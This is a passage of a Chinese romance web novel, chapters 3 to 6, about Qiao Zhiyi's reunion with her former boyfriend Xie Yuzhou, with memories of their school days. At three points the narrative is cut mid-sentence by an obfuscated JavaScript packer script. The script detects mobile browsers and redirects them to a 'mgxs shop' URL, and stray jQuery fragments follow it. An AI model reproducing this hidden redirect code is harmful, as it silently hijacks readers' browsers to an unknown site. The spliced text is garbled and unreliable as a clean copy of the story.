路昭乖乖闭嘴:“……”
这轮大冒险过后,乔栀意学聪明了,每次
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261002|198026||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
酒瓶转到自己都选择喝酒。
又玩了几轮后,酒瓶终于转到谢聿舟。他今天运气不错,这么久才转到他一次。
路昭瞄到他阴沉沉的脸色,自顾自替他做了选择:“大少爷,不为难你了。来个简单点的真心话吧。请问——”
“你这辈子做过最后悔的事情是什么?”
与先前那些刁钻古怪的问题相比,这已经算是很温和、很好回答的问题了。
可谢聿舟迟迟没有开口回答。
在场所有人疑惑看着他,乔栀意那道视线就显得不那么突兀。
默然片刻,谢聿舟依旧没有回答:“我没说选真心话。”
“我喝酒。”
话音落下,谢聿舟修长指骨拿起酒瓶,自顾自给面前的高脚杯满上,连喝五杯。
路昭惊讶:“有这么难回答吗?”
乔栀意垂下眼眸,妄自揣测这个问题的答案。
他这辈子做过最后悔的事情?
大概就是和她在一起过吧。
也不一定……
她可能没那么大面子,能成为他生命之最。
乔栀意再次抬头时,桌上就不见了谢聿舟的身影。
一直到游戏结束,谢聿舟也没有回来。
夜色已深,深秋的风吹落窗外的梧桐叶,同学们纷纷挥手告别,许下日后再见的承诺。
尽管谁也不知道日后会是什么光景,身处何地,身边作陪是何人。
人与人之间的见面,本就是见一面少一面。
明瑶叫了个网约车,和乔栀意一起往外走:“过几天我再去找你,也看看奶奶。”
“好啊。”
两人走出包厢,乔栀意偏头说:“你先走吧,我刚刚酒喝多了,去个洗手间。”
明瑶叫的网约车已经到酒店门口,也就告别:“行,那我就先走咯!”
乔栀意看清楚指示牌洗手间的位置,沿着长长的走廊往前走。
柔软奢华的地毯铺在大理石地面上,高跟鞋踩上去不闻一丝声响。
前方靠近洗手间位置站着个男人。
他懒散倚在墙边,橘色灯光勾勒颀长身形,黑色直筒裤包裹的修长腿微曲,指尖猩红的烟星在黑夜中格外惹眼。
白雾徐徐升腾,斑斓昏昧的夜色在他身后。
一根烟燃尽,谢聿舟又点了一根。打火机砂轮轻擦一声,蓝金色火焰照亮他优越矜冷的侧颜,薄薄的眼皮耷拉着,似有若无的疏离厌世感。
曾经对她念叨着吸烟危害的少年,如今自己却抽起烟来。
或许是酒精放大了情绪,乔栀意心中泛起一圈一圈涟漪。
时过境迁,沧海桑田。
回忆碎片在脑海中一点点拼凑。
等男人的身影完全消失在视野,乔栀意才迈着昏沉沉的步伐继续朝洗手间走去。
霓虹灯光透过窗户照进来。
黑夜出奇的空荡安静。
谢聿舟碾灭烟星,丢进垃圾桶里。他走到洗手台前拧开水龙头,捧起一把冷水正要洗脸。
忽然就看到前方一个窈窕的身影越走越近。
哗啦啦的水声拉回思绪。
乔栀意一抬眼,熟悉的身影猝不及防再次出现在视野。
谢聿舟拧上水龙头,转身,深邃的黑眸直直看向她,不紧不慢问:“看多久了?”
乔栀意:“……?”
谢聿舟?
她没看错吧?
这不是女洗手间吗?他一个大男人怎么会出现在这?!
下一刻。
视线扫过那些不属于女洗手间的设施,乔栀意的眼皮狠狠一跳。
啊!
操!!
天呐!!
啊啊啊啊啊啊啊啊啊!!!
不是他走错了。
是她走错了。
4. 第四章
乔栀意瞬间感觉自己头顶有一道惊雷,将她劈得粉碎。
风一吹,骨头渣都不剩。
如果她有打洞的技能,此刻毫不犹豫会使用。
可她没有。
她只能丢下一句真诚的“抱歉”,然后装作无事发生,转身,快速离开现场。
本以为这事就这么过去,乔栀意怎么也没有想到,谢聿舟就堵在她回酒店门口的路上。
寂寥空旷的走廊,只能听到心跳砰砰撞击胸膛的声音。
对上那双深邃狭长的眼睛,乔栀意脚步钉在原地,一步也不再向前走。
沉默无声的对峙。
很糟糕地。
走廊尽头的窗户灌进来一阵冷风。
米白色针织披肩不合时宜地,从她一边肩头滑落,柔白光滑的肩颈皮肤半遮半掩暴露在空气中,羊脂玉般白得晃眼。
下一刻。
谢聿舟迈着长腿,黑色马丁靴点地,深色大衣随着步伐衣摆鼓动,一步一步走近她。
“知道乔小姐对我念念不忘——”
“但也不必这么,”谢聿舟直直看着她的眼睛,一字一顿说,“如狼似虎、如饥似渴吧?”
“……?”
如此近距离的对视,直白且露骨的质问,空气中像是有火星子在燃烧,将两人重逢以来波澜不惊的一池春水烧得沸腾翻滚。
乔栀意的大脑直接宕机了,反应过来的时候,眼前尽是男人宽沉的肩膀和健硕的胸膛。
烟草味混杂着好闻的男士香水味道,密不透风笼罩侵袭。
乔栀意简直想当场发誓,刚刚她什么也没有看到。
本来她可以装作无事发生,可谢聿舟显然是不想就此饶过她。
他说的这番话,自然而然地唤起了乔栀意十九岁那年盛夏的回忆。
……
高考结束后,乔栀意借口回老宅待一段时间,实则是悄悄跟谢聿舟一起毕业旅行去了。
乔栀意曾说过想去南方看海,于是谢聿舟带她去了南方的一个有金色沙滩的海岛。
他定了一家有多个房间的民宿,刚开始两人是分开住的。
后来有天夜晚,两人一起去外面吃夜宵,来到一个小巷吃烧烤喝酒。
烧烤店快打烊,谢聿舟去收银台结账。
乔栀意注意到,远处路边有好几个染着五颜六色头发的男人,围着一个穿着背心超短裙的女生。
女生显然喝醉了,步伐飘飘乎乎的,她旁边一个纹着黑皮纹身的男人上手搂住她的腰,女生排斥地推他但并没有用,被纹身男拽着头发往前走。
听到哭喊挣扎声,乔栀意不假思索就直接跑了过去,厉声质问,“你们认识吗?”
一群男人转头看她,女生顿时像看到救星一样,哭着说,“求求你…救救我……我不认识他们……”
乔栀意拽住女生的胳膊,冷着脸对纹身男说:“这位先生,麻烦您放开这位女生,她说了,不认识你们。”
纹身男自上而下将她打量一圈,而后放荡的目光直直停留在她的胸前:“好啊。”
“我放开她,今晚你陪我啊。”
乔栀意强忍恶心拿出手机,警告他:“再不走我报警了。”
纹身男打了个酒嗝,立刻就伸出手将她的手机啪嗒一下打到地上。
乔栀意这才反应过来,此刻夜深人静,这个烧烤摊地处偏僻,周围根本就没有什么人。
后知后觉的害怕刚刚涌上心头,就听到纹身男惨叫一声,而后,扑通一下跪到了地上。
“你有没有事?受伤了吗?怎么也不等我?”
谢聿舟语气急切,将她牢牢护在怀里,检查她有没有受伤。
他比她高快两个头,肩膀宽沉,臂膀肌肉紧实,胸膛温暖,偌大的体型和身高差距让她感到安心。
纹身男也比他矮一大截,一下就显得没什么气势了。
周围一群人见自己的老大被狠狠踢了一脚,一窝蜂围过来,场面瞬时陷入混乱。
谢聿舟没有问她和这个醉酒女孩是什么关系,没有问她为什么要管一个陌生人。
只是快速弄清楚大概情况,让乔栀意带着喝醉的女生先走。
乔栀意扶着醉酒女生就跑,心脏砰砰撞着胸膛,带她跑出小巷去到人多的地方,找了个二十四小时便利店让她待着。
她刚要走,女生满脸惊恐地叫住她:“你要回去吗…那太危险了……”
“我要去找我男朋友。”
乔栀意片刻也没多耽搁。
虽然她回去可能没有什么用,但那时她丝毫不冷静,脑海里第一想法就是要回去找他。
她返回现场的时候,那一群流里流气的男人都被谢聿舟给打趴下了。少年长身鹤立,白T黑裤,在漆黑的深夜中自带背景光一般,是最惹眼的存在。
乔栀意赶紧跑过去,问他有没有事。
他摸了摸她的脑袋,安抚道:“你男朋友跆拳道黑带,这么点人能有事?”
汗珠顺着他硬朗的脸颊滚落,谢聿舟随手擦掉,弯下腰捡起地上的手机递给她:“你怎么回来了?”
“我担心……”
她话还没说完,就瞧见远处又过来一大批抄着家伙的人。
肯定是这群混混又偷偷叫人来了!
谢聿舟顺着她的目光看过去,气得又狠狠踢了地上的纹身男一脚:“刚刚不还挺厉害的吗?怎么叫人了?嗯?”
纹身男趴在地上哀嚎不止。
远处那群人见状,这还得了,立刻加快了赶来的速度。
乔栀意看着地上的板凳腿,都准备捡起来陪他一起战斗了。谢聿舟忽然拉着她的手就跑。
乔栀意就这么被他牵着,跟他一直往前跑。
盛夏的海风迎面而来,带着酒精灼热烧人的气息。
潮湿,燥热,又让人心动难捱。
跑了好久后,乔栀意气喘吁吁地问他:“谢聿舟…你是打不过他们了吗……”
谢聿舟气息还很平稳,坦诚说:“有你在,就打不过了。”
“你嫌弃我是累赘?”
“怎么可能?乔小满,你这小脑袋瓜整天在瞎想什么?”
“那你是什么意思嘛?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261003|198026||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“不是累赘。”
他紧紧扣住她的手,随后的“是软肋”三个字,顺着缱绻的夜风,一字一顿轻轻敲击她的耳畔。
晚上来回跑了几趟,乔栀意最终还是体力透支:“我…不行了……累死了…跑不动了……”
她话音刚落,谢聿舟便将她稳稳打横抱起,飞速往前跑着。像是突然被丧尸追赶似的,比刚刚没抱她跑得还快。
那夜回到民宿后,乔栀意才发现谢聿舟其实受伤了,胳膊有一大块破皮流了血。
她很快买了药,穿着藕粉色的吊带睡裙,去他房间给他上药。
谢聿舟刚洗过澡,漆黑的发丝湿气漉漉的,上半身没穿衣服,水珠滑过,劲瘦有力的薄肌线条一览无遗。
当医用棉签擦过他的腰侧时,男人的身躯微不可察地轻颤一下。
“疼吗?”
“不疼。”
乔栀意抬起眼眸,便看到那颗上下滑动的锋利喉结。
紧接着就是男人一寸不移的灼热视线,越发沉重的呼吸声,那双黑眸里翻涌着说不清道不明的情绪。
他在克制。
乔栀意读懂了。
上完药后,或许是酒精上头,或许是深夜奔逃的刺激,又或许是他的某些话语触及到她的内心。
一切都那么刚刚好。
她就那么鬼使神差地勾住他的脖子,柔软唇瓣吻上他凸硬的喉结,小声说:“我今晚不回去了。”
体内紧绷着的弦被她轻飘飘一句话撩动,谢聿舟立刻将她压下,黑眸沉沉,一寸不移凝视她的眼睛,骨节分明的手掌强势穿过她的指缝,紧紧扣住。
他哑着声音,不确定地问:“你知道你在说什么吗?”
“我知道。”
乔栀意丝毫不带怕的,微醺的脸颊红红的,说出的话却字字坚定,“我想葽。”
“你想葽什么?”
最后一丝理智,他把脑袋埋在她的脖颈。
乔栀意贴着他的耳边,吐气如兰:
“你。”
夜风吹进落地窗,白色纱帘飞扬。
开闸的海水彻底失控,潮起潮落,不知疲倦。
她整个人像是融化成了一摊水,汇入江海,流到了天亮。
后来的几天,一直到毕业旅行结束,两人半只脚都没踏出过房间。
谢聿舟不让她出门。
……
她明白谢聿舟所谓的念念不忘的含义,领略过两人只有彼此时,他那粗重的、骇人的侵略攻击性。
但此刻,阔别多年。
乔栀意只觉得自己气势上不能输。
在对方完全把她当过去式的情况下,她不允许自己流露出丝毫对他的感情态度,这样会显得很可笑。
哑口无言的话,就等于是变相承认了他的话。
收回思绪,乔栀意淡定地扯回滑落的披肩,站直身体往后后退一步,拉开两人之间的距离。
视线扫过他的脸,再来到他的腰间。
而后。
平静地,冷漠地,故意说了句:“就挺一般的。”
5. 第五章
傍晚,CBD高楼林立,夕阳余晖照到玻璃幕墙,一座座摩天大厦金光璀璨。
其中凌远传媒总部大楼是最惹人注目的存在,六百米的高度直插云霄,巍峨壮观。
谢聿舟刚从会议室出来,就接到了谢白芷的电话:“怎么到现在也不回我消息?”
“刚开完会。”谢聿舟抬腿走向专属电梯,“一直没看手机。”
谢白芷还在办公室加班:“今晚忙不忙?”
谢聿舟看了身旁的陈秘书一眼,陈秘书意会,汇报晚上行程:“谢总,晚上七点有个慈善晚会要参加。”
电话那头谢白芷听到汇报,明白情况:“行吧,那你忙吧,乐萌我自己去接。”
谢聿舟轻挑眉梢:“你是要我去接乐萌?”
谢白芷抓了抓头发,手忙脚乱地收拾办公桌上的文件:“对啊,宋姨孩子还发着烧呢。让别人去接,这小祖宗肯定又要生气。”
“晚上那场慈善拍卖会我不参加了,你处理下取消事宜。”谢聿舟吩咐陈秘书。
“好的,谢总。”
“哈?”谢白芷听到声音,惊讶得不行:“你今天这么够意思?”
电梯门打开,谢聿舟迈步走进去,按了一楼,黑眸情绪不明。
“嗯,我去就行。你忙吧。”
-
放学时间,乔栀意看了眼落地窗外。
缤纷的晚霞在天空绸缎般铺开,今天是个好天气。
一个接着一个家长接走自家的小孩,乔栀意的视线不自觉落到谢乐萌的身上。
身旁忽地多出一个穿着棕色西服的男人:“乔老师,今天应该不忙吧?”
乔栀意回过神看他,认出是一个学生的亲戚,那学生寄住在他家。
男人家里做生意的,常私发给她各种生活照片,有意无意透露自己的经济条件。还总说要请她吃饭,答谢她对小孩儿的付出,乔栀意每次都借口有事婉拒。
“有什么事您说。”
男人笑着问:“有空一起吃个晚饭吗?”
乔栀意礼貌笑笑:“不好意思,我晚上要和我家人一起吃饭。”
男人坚持:“都是成年人了,一晚不回家也没事吧?”
乔栀意:“我已经和家人说好了。”
“那明天晚上呢?明天晚上应该有空吧?”
“明晚也要回去。”
“后天晚上呢?”
“我天天都要回去。”
又一次遭到拒绝,还是当面的、不留余地的被拒绝,男人面色瞬间阴沉下去,语气也变得毫不客气。
“乔老师,我就是想和你讨论下我家小宇的学习情况。我花了那么多钱送他来你这学习,一点效果也没有。我看他现在画的东西和之前也没有什么长进。”
这一而再再而三的邀约,乔栀意就是再迟钝也能感受到意图了。
她已经有些不耐烦了,但表面还是客气道:“艺术素养的培养不是一蹴而就的,这才学习不到一个月,小宇其实已经很棒了。”
男人并没有被安抚到,冷着脸继续说:“可我觉得你这里其他孩子画得都比他好。”
乔栀意耐着性子继续解释:“同样的知识,有的孩子理解的快一点,有的孩子慢一点。兴趣浓的孩子也会学得快一点,这都很正常。”
男人像听不懂人话似的,继续找茬:“这些小孩都是一个脑袋两只眼睛一个鼻子一个嘴巴两只手,怎么小宇就比人画的差了?该不会是乔老师故意不好好教他吧?”
“你和秦始皇都是一个脑袋两只眼睛一个鼻子一个嘴巴两只手,怎么没见你当成华夏皇帝呢?”
身后忽地传来一道毫不客气的男人声音。
谢聿舟笔直挺拔地站在乔栀意身后。他一袭黑色西装,表情肃冷,漆黑冷厉的视线越过她,直直落到闹事男人的身上。
京市豪门圈的大人物,男人立刻认出他来:“谢、谢总?您怎么在这?”
“我在哪用得着你管?”
谢聿舟冷着脸,语气尽是不耐烦。
“不是不是,就是觉得很巧,您在哪都行。”男人客气地赔着笑脸,又说了几句场面话后,连忙带着小孩离开画室。
乔栀意回头,一瞬间对上谢聿舟的视线。
深邃、冷倦,晦暗不明。
下一秒,那道视线定定看向前方。
谢乐萌所在的方向。
瞬间的对视似乎只是错觉。
其实他并没有在看她。
方才的一切,大概只是一个正常的成年男性正义感上头的无心之举。
又或许,他只是纯粹看不惯那个男人。
闹事男人离开后,谢聿舟就径直走到谢乐萌的身边。
谢乐萌和乔栀意挥挥小手,甜甜地告着别:“乔老师,下周再见~”
乔栀意莞尔,视线直直落到小姑娘身上,没有偏移半分:
“好,下周见。”
偌大的教室就剩下她一人,寂寥、空旷,乔栀意锁上画室的门离开。
医院离画室不算远。
今天路上有点堵,天气又不错,乔栀意选择步行去医院。
途径一所学校的操场,里面几个青春洋溢的男高中生正在打篮球。
这样寒冷的深秋,他们只穿着球衣背心和短裤,旁边围了一圈观看送水的女生。
四五个男生严阵以待地围在身边,穿12号蓝色球衣的一名男生突然转身,纵身一跃,投了个漂亮的篮。
场外围观人群顿时一阵沸腾,欢呼声如奔涌的海浪。
……
“啊啊啊啊!”
“受不了!!12号也太帅了吧!”
“刚刚投篮的时候,你看到没?那腰肌!啊啊啊啊!”
“我□□操!太性感了!他有没有女朋友啊?”
“这你可就别想了,看看就得了。开学到现在这才几天,都不知道多少人在追他。高二高三的学姐都特意跑来我们高一看他……”
那时才上高一,大家彼此之间都还不太熟悉。明瑶是乔栀意的同桌,拉她一起去看校园篮球赛,为本校男生加油呐喊。
金色阳光洒下,热血的少年们奋力奔跑在篮球场,尖叫声、呐喊声、拍球声、弹跳声,扑面而来的风里都是洋洋洒洒的青春气息。
在一众男生中,12号最为惹眼出挑,他身形高大挺拔,步伐矫健,在奔跑中恣意又张扬。
每一次投篮纵身一跃的动作帅得像是自带舞台光一般,破壁了次元。衣诀翻飞间,露出紧致流畅的腰肌线条,引起一阵又一阵尖叫,像是要将整个操场掀翻。
比赛接近尾声,明瑶忽然肚子不舒服想去洗手间,把手里的矿泉水递给乔栀意,连声交代她:“给12号!给12号!”
离开前,明瑶又环视身边一圈,很快意识到不对劲的地方:“算了算了,竞争这么激烈,肯定送不到他手上。”
“肥水不流外人田,你只要给我们本班的男生就行啦。”
乔栀意拿着水,抬眸看向篮球场,视线定格。
在12号又一次的漂亮灌篮之后,比赛结束。
纵使才开学不久,但乔栀意早知道他的名字叫谢聿舟。
市一中从不缺富家子弟,只不过谢家格外突出,学校图书馆就是谢家捐的。
乔栀意天性喜欢一切好看的东西,开学第一天,坐在教室,她就注意到了他。很快又听到一些女生小声谈论他的名字、家世,种种。
超绝颜值,家境显赫,中考状元,天之骄子,洁身自好,无非就是这几个词。
可直到那天,乔栀意才知道。
他也早就知道她的名字。
两人的目光在空气中交汇。
少年穿着蓝色球衣,长身玉立,穿过茫茫人海,炽热坦荡的视线直直地落到她的身上,一步一步走到她的身前。
“这是给我的吗?”
他轻挑眉梢,直白问。
乔栀意有些发愣地点了点头:“嗯,对。不过不是我给你的,是我同桌,她买的水。”
谢聿舟却像是没听见似的,接过她手上的矿泉水打开,当即仰头喝了一口。
“多谢。”
他拖着尾音,一字一顿念着她的名字——
“乔栀意同学。”
……
往昔峥嵘岁月里,那个满眼都是她的少年,目光可以穿过蜂拥而至的人海,只落到她一个人的身上。
如今再见面。
却是一眼也不愿意多看。
过去终究只是过去,再美好也只是过去。
收回思绪,乔栀意垂下眼睫,继续往前走着。
脚下是凋零的暗橙色梧桐落叶,它饱经风霜踩踏,破碎不堪,再也没法回去当初还在树上青翠盎然的模样。
车内。
谢乐萌坐在谢聿舟的身旁,疑惑地问:“谢聿舟,怎么又是你呀?宋阿姨还没有回来吗?那为什么我妈妈不来接我呀?”
谢聿舟双腿交叠,目视前方:“你妈妈工作狂。你不想我来?那下次让你陈叔来接你。”
谢乐萌摇头:“不要不要,我要你来接我。”
谢聿舟没好气地说,“还有——”
“谁让你连名带姓地喊我的?你该喊我什么才对?”
谢乐萌晃着脑袋,糯糯的声音威胁道:“你给我买糖吃我就喊你舅舅,不然就不喊。”
谢聿舟斜眼睨着她,有些好笑:“都几颗蛀牙了,还吃糖?真不怕牙齿全黑了?”
谢乐萌鼓起嘴巴,闷哼一声:“外婆说了不要紧,我以后会换牙的。”
晚高峰时间,又发生一起小的交通事故,堵了好一会儿车后,道路上密如蚁群的车辆才开始缓缓前进,车灯汇成萤流火海。
一百米的前方是市医院,倏地,一个熟悉的身影闯入视线。
谢聿舟黑眸一眨不眨看着前方,眉头紧锁:“你们乔老师生病了吗?”
谢乐萌顺着他的目光看过去,瞪大眼睛:“咦?真的是乔老师!她生病了吗?”
“你不是总说很喜欢你们乔老师吗?喜欢一个人不是口头上说说就行了。”
谢聿舟降下车窗,侧脸隐于昏黄暮色。光影交错,面部轮廓更显立体深邃。
“乐萌是不是应该多关心关心她?”
“对,我喜欢乔老师。”谢乐萌连连点头,“我要多关心关心她。”
-
乔栀意带着煲好的山药排骨汤去了医院病房。
乔奶奶正在和护工说着话,护工见到她,和乔奶奶打趣着:“奶奶您这孙女儿又来咯!”
乔栀意走到病床边,打开保温桶倒出热汤到碗里:“奶奶,今天感觉怎么样?”
乔奶奶接过,弯着眼睛看她:“好多了,我感觉现在就能出院了。”
“你别着急嘛。”乔栀意没好气地说,“医生说了要下周才能出院,咱们要听话。”
乔奶奶喝着热汤,忍不住连连感叹,孙女儿在国外待这么些年,是真的长大了,竟然都会做饭了。
她从前在家向来是十指不沾阳春水。
乔栀意笑着回应:“那是,你孙女儿现在可厉害着呢。”
乔栀意没有告诉奶奶,她其实是回国现学的煲汤。
在纽约待着的那些年,她自己根本就没有做过几顿饭。
她吃腻了那些油炸食品和不正宗的中餐后,就想着自己做饭。
从小养尊处优,让她缺乏生活常识。
她跟着网上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261004|198026||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的视频教程学,可教程并没有教她要擦掉锅里的水。第一次尝试做饭,油星子刺啦刺啦溅出,给她手指烫出了水泡。
第二次是实习期下班后,公司给她打电话说顾客补充的服装设计要求,聊着聊着她忘记锅里还烧着菜,差点没把整个厨房烧掉。
再后面几次倒是没有什么意外,就是单纯的难吃。
后来她就差不多放弃了做饭这件事。
不知不觉间,她好像变得不爱吃东西。
食物对于她来说,不过是为了好好活下去的需要。
可乔奶奶怎么会看不出来孙女儿把自己养得很差:“那你怎么还这么瘦呢?比前几年瘦了好多。”
乔栀意轻描淡写地玩笑说:“我这是特意减肥减的。饿了就喝水,馋了就打嘴。”
乔奶奶并没有笑,心疼坏了:“什么喝水打嘴的。以后可不许减了,瘦得跟竹竿一样好看吗?”
“好吧,”乔栀意乖巧应着,“奶奶说不减就不减了。”
两人谈笑间,乔栀意的手机铃声响起。
一个本地的陌生号码。
她接听,那头响起小女孩甜甜糯糯的声音。
“喂?乔老师?你生病了吗?”
乔栀意有些意外:“乐萌?”
“是的是的,是我,我刚刚看到你去医院了,你是哪里不舒服吗?”
乔栀意稍怔,耐心解释:“我没事,是我家人住院了。老师谢谢你的关心。”
“乔老师说她没事,是她家人住院了。”那头谢乐萌的声音短暂远离话筒。
小姑娘紧接着又靠近话筒问:“那老师,你家人怎么样了?要紧吗?”
乔栀意笑:“她也没事,下周就出院了。”
默然片刻,她继续问:“乔老师,你家人住在哪一间病房呀?”
“1502,怎么了?”乔栀意耐心回答。
谢乐萌没回答这个问题,又问,“那你吃晚饭了吗?”
乔栀意:“还没呢,过会再吃。”
几个没头没脑的问题过后,那头就挂断了电话。
乔奶奶皱着眉,“你怎么还没吃晚饭呢?都说了多少遍你吃过饭再来。”
乔栀意这才发现自己说漏嘴了,笑眯眯道:“我马上就去。”
车辆平稳停在医院泊车区。
通话结束,谢乐萌放下手机,挨个拿过身边一包又一包纸袋看着,疑惑问:“你怎么买这么多呀?”
她拿着糖炒栗子的纸袋:“怎么还买了这个呀?我不喜欢吃这个。”
谢聿舟目光透过车窗,看着医院门口,漫不经心提醒道:“你们乔老师不是没吃晚饭吗?”
“对哦,”谢乐萌即刻反应过来,“那这些是要送给乔老师的吗?”
冷风穿过车窗灌进来,吹乱男人的发丝。谢聿舟淡淡“嗯”了声:“你去送给你们乔老师吧。”
谢乐萌疑惑:“你为什么不去送呢?”
谢聿舟没说话。
记忆中冷漠决绝的声音又一次回响在耳畔。
“我刚刚不是说过一遍了吗?你是真的听不懂吗?”
“行,那我就再说一次。我说,我们分手吧。”
“我就是突然不喜欢你了,这个理由可以吗?”
寒风吹得他双眸发涩,细密的冷意尖刀一般刺进胸口。
谢聿舟收回视线,修长指骨不自觉捏紧口袋里的烟盒,又缓缓松开。
他摸了摸谢乐萌的脑袋,自嘲地勾了勾唇:“你送的她才会要。”
“乖,别问了,快去吧。”
“等会舅舅带你去游乐园。”
“好唉!”
谢乐萌没多想,当即愉快地应下。
-
挂断电话,乔栀意又和乔奶奶闲聊了一会儿,老人家催着她离开。
天已经黑了。太阳下山后,气温比白天低了好几度。晚风一吹,刺骨的寒意绵针似的扎进毛衣的缝隙。
乔栀意双手缩进毛衣衣袖,紧紧抱住自己。
走出住院部的大门,竟然看到前方熟悉的黑色幻影。
锃亮的车门很快打开,谢乐萌从车后座下来。
小姑娘穿着毛茸茸的毛衣,蓬蓬的百褶裙,脸蛋圆乎乎,可爱的像个糯米团子。
她踩着蝴蝶结小皮鞋,手里拎着好几包东西,飞快向她跑来:“乔老师!乔老师!这都是给你的!”
愣了几秒后,乔栀意连连摆手:“乐萌,你这是干嘛呀?我不能要。”
谢乐萌扬起小脸,也不管她的拒绝,直接把东西往她手上塞。
乔栀意不要。
推搡间,一包糖炒栗子掉到地上,几颗圆溜溜的栗子滚出来。
乔栀意只好接过。
“乔老师,你家人一定会好起来的,你不要太担心哦。一定要好好吃饭。”
说完,小姑娘又急匆匆地跑走了。
车门合上,黑色幻影发动引擎,缓缓驶离泊车区。
乔栀意低眼看着手上满满当当的东西,一份晚饭,一杯暖呼呼的桂花牛奶热饮,一袋果汁软糖,还有刚刚没接的糖炒栗子。
怎么会有这么暖心的小姑娘?
本来她还在思考着晚饭吃什么,好像没有什么胃口,要不干脆就不吃了。
而此刻,大概是女孩之间口味的相似,手上这些东西都是她爱吃的。
她抬眼,有些恍惚地看着慢慢消失的车尾灯,再一次不受控制地猜测着谢聿舟和谢乐萌的关系。
又很快清醒过来。
这些和她有什么关系呢?
这不是她该思考的问题。
不管怎么样,她是真心喜欢谢乐萌这个学生的。
是个真诚可爱的小姑娘。
6. 第六章
翌日下午。
乔栀意刚进病房,就注意到了桌上一束鲜艳的粉白色康乃馨花束,地上还有一个漂亮的果篮和一些营养品。
她还没发问,乔奶奶便主动开口说,“早上你走之后,你的一个学生还有她的家长一起过来了,送的这些东西。他们也太客气了。”
乔栀意稍怔,难道是乐萌?
也只能想到是她了。
“哦……他们有说什么吗?”
乔奶奶:“就问问我的身体情况,看我没事,聊了几句人家就走了。”
“你那学生长得漂亮极了,跟你小时候可像了。她爸爸也是好看的不得了,看着很年轻,完全看不出来都有孩子了。要不是人家已经结婚生子了,我真希望你们可以发展发展呢。”
听到爸爸这个称呼,乔栀意眼睫轻颤了下,心不在焉地说:“奶奶,你看哪个小姑娘都像我小时候。”
乔奶奶眯着眼睛笑:“以后你要是生个小女娃肯定也像你,好看得不得了。”
“我都不打算结婚,哪会有孩子?”乔栀意坐到病床边,随口应着。
“尽胡说八道!”乔奶奶没好气地说。
乔栀意不打算惹老人家生气,没再继续说这个话题。
陪乔奶奶聊了好一会儿后,乔栀意拿出手机刷朋友圈。忽然,蒋老师发的一条动态吸引了她的注意力。
【承蒙关心,本人已经康复出院。】
配图是一张打着石膏的腿。
乔栀意赶紧点开蒋老师的动态,才发现人家前段时间出了个小车祸,一只腿受了重伤。
-
高中的时候,乔栀意想走美术艺考,乔鸿锦说什么也不让,说她不好好学习文化课,整天就想着一些没用的歪门邪道。
父女两人大吵了一架,乔栀意气得晚上放学不想回家。
那时谢聿舟天天放学送她回家,很快察觉到了她的情绪。
当她说出晚上不想回家的原因之后,谢聿舟摸了摸她的脑袋,劝她回家,安慰道,“多大点事儿?放心,交给我。”
乔栀意当时只以为他是说大话,毕竟乔鸿锦根深蒂固的老古董思想无人能撼动,而且谢聿舟根本就不认识她父亲。
她没有让两人见过面。
后来她才知道他原来真的能搞定。
他找了一个经验丰富的美术老师私教,根据她的空闲时间安排一对一课程,乔栀意最终还是走上了艺考这条路。
每周谢聿舟都会陪着她一起上课下课。
每次她在那上课,他就在一旁安静地看着。
下课后她问他会不会无聊,谢聿舟说不无聊,乔栀意不信。
他会看着她的眼睛,轻扯唇角,“不无聊,好看。”
她笑,故意问他什么好看。
他直白坦荡地说,“你和画都好看。”
“不对,你比画好看。”
高考她的文化课班级第四,但加上艺考,综合成绩全班第一,在全校也是名列前茅,国内名牌大学随便挑。
谢聿舟找的这个美术老师就是蒋老师,可以说是她人生中最大的贵人之一。
出国后,乔栀意与蒋老师的联系就少了,通常是在每年的教师节给他发几句祝福问候。
去年老人家才退休享福,没想到今年就发生意外住院了,她居然才发现。
人年龄大了总容易出各种各样的意外,奶奶是这样,蒋老师也是这样。
乔栀意心里很不是滋味。
乔栀意立刻给蒋老师发去消息询问情况,说要去看他。
蒋老师感叹乔栀意居然回国了,又说可以不用去看他,他出院回老家休养去了,老家在郊区,路不好走。
乔栀意还是决定过去。
第二天一早,她去超市买了营养品和水果,又去花店买了一束花,打了个车前往。
原来蒋老师所说真的不是怕麻烦她,他老家的路是真的不好走。
道路越来越窄,路旁树木枝桠疏朗,落叶萧条,前方还有一截古老的泥土路。
司机说前方不好调头,离目的地还有一千米乔栀意就下了车。
到达蒋老师家的时候,老人家正在院子里的躺椅上躺着晒太阳。
几年不见,他头发白了不少。
看到她过来,蒋老师很是意外,“栀意?哎呦,你还是来了啊。你看我这,也不好给你倒杯茶。”
乔栀意把买的东西放到门口,搬了个板凳坐在老人家旁边,“蒋老师,不用倒茶,我就来看看您,您没事就行。我坐一会儿就走。”
